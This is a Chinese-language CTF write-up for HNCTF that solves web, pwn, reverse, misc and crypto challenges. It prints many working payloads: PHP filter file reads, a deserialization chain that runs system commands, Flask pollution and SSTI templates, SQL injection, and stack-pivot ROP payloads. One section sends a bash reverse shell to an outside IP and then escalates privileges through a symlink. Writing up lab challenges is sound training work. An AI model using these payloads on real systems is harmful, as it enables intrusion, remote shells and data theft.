HNCTF-WP
WEB
DeceptiFlag
看到隐藏元素,而且提示拼音,分别输xiyangyang,huitailang进入tips.php
cookie
中发现flag位置为/var/flag/flag.txt
,随便尝试几个路径包含发现都不行,伪协议读取成功
//file=php://filter/read=convert.base64-encode/resource=tips.php |
file=php://filter/read=convert.base64-encode/resource=/var/flag/flag.txt |
flag{d7d1eabc-3887-4651-bbc6-cb898528e58e}
Really_Ez_Rce
|
intval
那里数组绕过,后面的cmd绕过就属于涨姿势了
GET/POST:Number[]=1 |
虽然但是,我自己打的话,软链接秒了
cmd=ln -s / /var/www/html/a |
flag{2699279a-fc6c-4373-bbcd-8470739d5c79}
Watch(复现)
漏洞点主要是在源码中/handle/handle.go
userPath := r.URL.Query().Get("path") |
有个提示是注意go版本和路径形式
翻文章时觉得有几篇文章挺好GO语言安全审计-先知社区、一个隐藏在Go语言标准库中的目录穿越漏洞 CVE-2022-29804 - 跳跳糖,但是这个题主要是依靠这个文章GO-2023-2185 - Go Packages
filepath 包无法将以 ??\ 为前缀的路径识别为特殊路径。在 Windows 上,以 ??\ 开头的路径是根本地设备路径,相当于以 \?\ 开头的路径。以 ??\ 为前缀的路径可用于访问系统上的任意位置。例如,路径 ??\c:\x 相当于更常见的路径 c:\x。修复之前,Clean 可以将根路径(例如 \a..??\b)转换为根本地设备路径 ??\b。现在,Clean 会将其转换为 .??\b。同样,Join(, ??, b) 可以将看似无害的路径元素序列转换为根本地设备路径 ??\b。现在,Join 会将其转换为 .??\b。此外,修复后,IsAbs 现在可以正确地将以 ??\ 开头的路径报告为绝对路径,VolumeName 可以正确地将 ??\ 前缀报告为卷名。更新:Go 1.20.11 和 Go 1.21.4 无意中更改了以 ? 开头的 Windows 路径中卷名的定义,导致 filepath.Clean(?\c:) 返回 ?\c: 而不是 ?\c:\(以及其他影响)。之前的行为已恢复。
那么直接回到目录去访问就行
../??/d:/ |
然后读取key.txt
就行
flag{8e35f701-a677-4e95-88bc-4bb34c12db19}
ez_php
|
链子如下
GOGOGO::__destruct->DouBao::__toString->HeiCaFei::__call |
前面用数组绕过,后面的调用主要用到__call
方法
$a->dengchao->dao
被设置为[new HeiCaFei(), 'ls']
,这是一个合法的 callable 结构。
call_user_func_array
可以接受这样的数组,解释为“在HeiCaFei
对象上调用ls
方法”。当调用不存在的ls方法时,会将
ls
作为name
从而进入__call
方法实现调用
这里还涉及到一个绕过GC回收机制,参考浅析PHP GC垃圾回收机制及常见利用方式-先知社区
在PHP中,使用
引用计数
和回收周期
来自动管理内存对象的,当一个变量被设置为NULL
,或者没有任何指针指向时,它就会被变成垃圾,被GC
机制自动回收掉
那么这里的话我们就可以理解为,当一个对象没有被引用时,就会被GC
机制回收,在回收的过程中,它会自动触发__destruct
方法,而这也就是我们绕过抛出异常的关键点。
简单来说,就是序列化一个数组,然后将第二个元素的对象个数i:1
修改为i:0
即可。当对象为null
时就会使用__destruct
方法
exp如下
|
POST:data=a:2:{i:0;O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:8:"cat /of*";}s:9:"Dagongren";a:1:{i:0;i:1;}s:9:"Bagongren";a:1:{i:0;i:2;}}}i:0;i:1;} |
flag{b448adc0-43f3-4fb1-8fa3-09211d99839e}
奇怪的咖啡店(复现)
from flask import Flask, session, request, render_template_string, render_template |
在/add
路由存在原型链污染,但是存在过滤,__init__
和__globals__
都被过滤了,通过json.loads
这个函数来Unicode
编码绕过
默认情况下,Flask 的 _static_folder 是相对于应用根目录的 static 文件夹,修改为 “/“ 可能导致 Flask 从根目录查找静态文件。
{"__globals__":{"app":{"_static_folder":"/"}}} |
这样就是污染成功了,访问static/app/app.py
拿到最终源码
from flask import Flask, session, request, render_template_string, render_template |
这里通过原型链污染接着污染param_black_list
和SECRET_KEY
,然后用session
去打ssti
获得flag
{"__globals__" : {"param_black_list" : ["1"]}} |
然后伪造session就行
{'name': 'admin', 'permission': '{{lipsum.__globals__["os"].popen("ls").read()}}'} |
Cookie:session=eyJuYW1lIjoiYWRtaW4iLCJwZXJtaXNzaW9uIjoie3tsaXBzdW0uX19nbG9iYWxzX19bXCJvc1wiXS5wb3BlbihcImNhdCA0Zmxsb29nXCIpLnJlYWQoKX19In0.aEfmcQ.WsGGyBY9txBnluH0EeOU5UWQfZo |
这里有几个点,首先在生成session时中间的双引号必须转义,其次lipsum
后面调用os
时必须用双引号
而且这里的ssti
还可以如下来打,也能打出来
{'name': 'admin', 'permission': '{{self.__init__.__globals__.__builtins__["__import__"]("os").popen("ls /").read()}}'} |
flag{1b2a6dce-f47d-4ef0-91ff-5385112c845d}
半成品login(复现)
先弱口令admin/admin123
登录,发现要登录黑客账户,并且提示sql注入
在密码的地方反斜杠转义单引号发生了报错,即用admin/admin123\'#
就登不上了
发现使用双重编码,即admin/admin123%2527%2523
成功登录
过滤了select
,可以用table
来进行sql
注入,贴个脚本如下
这里用的是MySQL8.0新特性的table
注入,除了下面的脚本,还可以使用sys.schema_tables_with_full_table_scans
这个性能视图
import requests |
登录后拿到flag
flag{43bdbf4b-db23-4d1e-983b-dc174d48761b}
[WEB+RE]Just Ping Part 1(复现)
在源码中找到两个路由/api/ping?target=
和/api/testDevelopApi?cmd=
二进制可以分析,预置在pool
中的是ping
命令,当多次使用命令消耗后就会使用后面的命令,这里的123是拿来凑数的,测出来需要四段命令,中间以空格分开
/api/testDevelopApi?cmd=ls / 123 123 |
flag{bad8a9d4-9621-4f60-afdd-98eddaef7dd4}
[WEB+RE]Just Ping Part 2(复现)
先按照上面的思路反弹个shell
/api/testDevelopApi?cmd=bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F38.55.99.186%2F1223%200%3E%261'%20%3E |
flag
现在在root
用户下,无法直接读取,涉及到提权,先来找下可以提权的文件
find / -user root -perm -4000 -print 2>/dev/null |
再看题目给的附件backup.sh
|
检查一个名为 backup 的文件的 MD5 校验和,并根据校验结果执行备份操作或退出
先找到这个backup
文件
find / -name backup |
位于/usr/local/etc/backup
再去网站中给它下下来
/api/testDevelopApi?cmd=base64 /usr/local/etc/backup |
扒下来逆向分析后发现是从../backuplist
中获取文件路径,然后备份到/var/backups/backup.zip
中
这里先看下../backuplist
,只有读的权限,我们要的就是将/root/flag
进行备份后读取,所以肯定要向/backuplist
中写东西
ls -l /usr/local |
注意到etc
有读写执行权限,那就通过软链接来实现向backuplist
中写东西
cd /usr/local/etc |
现在等到定时任务执行后base64
扒下来就好了,注意这里扒下来的时候有换行符,要去掉
base64 /var/backups/backup.zip |
flag{bace50f6-5b18-422e-9a7d-be1aefbdfde7}
PWN
mint1.
师傅在我web出不来的时候是库库出pwn哇,好给力
三步走战略
简单的orw
check
桌面$ checksec orw |
mmap分配了一个可读写执行的段buf,用第一个read读shellcode到buf上第二个read栈溢出执行buf上的shellcode读出flag,要注意一开始用getchar接收了一个字节
from pwn import* |
Stack Pivoting
【栈迁移】
check
桌面$ checksec pwn |
给了libc有简单的栈溢出漏洞但是溢出字节数较少尝试栈迁移
可以发现func中的read的rsi=rbp+buf(buf为-0x40)所以我们可以通过控制rbp进而控制read的rsi,结合leave控制rsp
第一段payload
payload = b'z'*0x40 + p64(bss+0x40)+p64(0x4011B7) |
将read的rsi迁移到bss处并读入第二段payload
第二段payload
payload = (p64(pop_rdi)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(pop_rbp)+p64(bss+0x200+0x40)+p64(0x4011B7)).ljust(0x40,b'\x00')+p64(bss-8)+p64(leave_ret) |
在bss上布置puts泄露libc基址,将rbp设为bss+200+0x40用于读入第三段提权shell,之后迁移到bss段开头执行
第三段payload
rbp = 0x404100 |
因为rdx为50想要同时控制rdx和rsi为零比较费字节数刚好发现有好用的gadget,但是需要注意rbp-0x78处是可写的
完整exp
from pwn import * |
shellcode
【orw进阶】
check
桌面$ checksec pwn |
开了沙箱
禁用了write和sendfile可以用writev
openat–>mmap–>pread–>writev
from pwn import * |
pdd助力
【随机数】
check
桌面$ checksec pwn |
有libc可以用密码库生成和服务器一样的随机数绕过第一个随机数检查,第二个随机数种子固定可以直接本地生成一次记录下来然后绕过,最后进入func函数泄露libc基址即可
exp
from pwn import * |
RE
签到re
豆包一把梭
import hashlib |
Misc
签到and签退
星辉骑士
拖随波逐流发现有个flag.zip
,将docx改为zip找到flag.zip,里面九个txt内容,在线网站解密
1:ashjdsahd |
H&NCTF{0231265452-you-kn*w-spanmimic}
CRYPTO
lcgp
from Crypto.Util.number import long_to_bytes |
H&NCTF{7ecf4c8c-e6a5-45c7-b7de-2fecc31d8511}
flag{临汾市新城镇解村} |